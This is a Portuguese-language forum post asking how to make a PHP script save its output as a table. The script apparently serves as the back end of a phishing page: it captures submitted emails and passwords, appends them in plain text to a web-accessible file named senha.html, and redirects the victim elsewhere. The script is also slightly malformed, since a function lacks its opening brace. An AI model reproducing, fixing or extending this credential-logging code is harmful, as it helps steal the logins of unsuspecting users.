Como adicionar comando em PHP para gerar tabelas

Bom Primeira mente Ola a todos do Fórum...

O que eu queria saber era, se tem como eu pegar este Código Que esta abaixo e re-escrevê lo para que quando ele salve um texto... ele salve o texto em modo tabela:

Modo Normal Fica Assim:

Email:

Senha:

Modo parecido com o que Eu quero deixar:

Email:

Senha:

<?php
$nomearquivo ="senha.html";
$email =$_POST["email"];
$senha =$_POST["pass"];
$ess ="Email: ".$email."<br>Senha: ".$senha;
$abre =@fopen("senha.html","a+");
$escreve =fwrite($abre, $ess);
echo "<script>javascript:document.location='URL'
</script>";
function redirecionar($url, $tempo)

 $url = str_replace('&', '&', $url);

 if($tempo > 0)
 {
 header("Refresh: $tempo; URL=$url");
 }
 else
 {
 @ob_flush();
 @ob_end_clean();
 header("Location: $url");
 exit;
 }
}
?>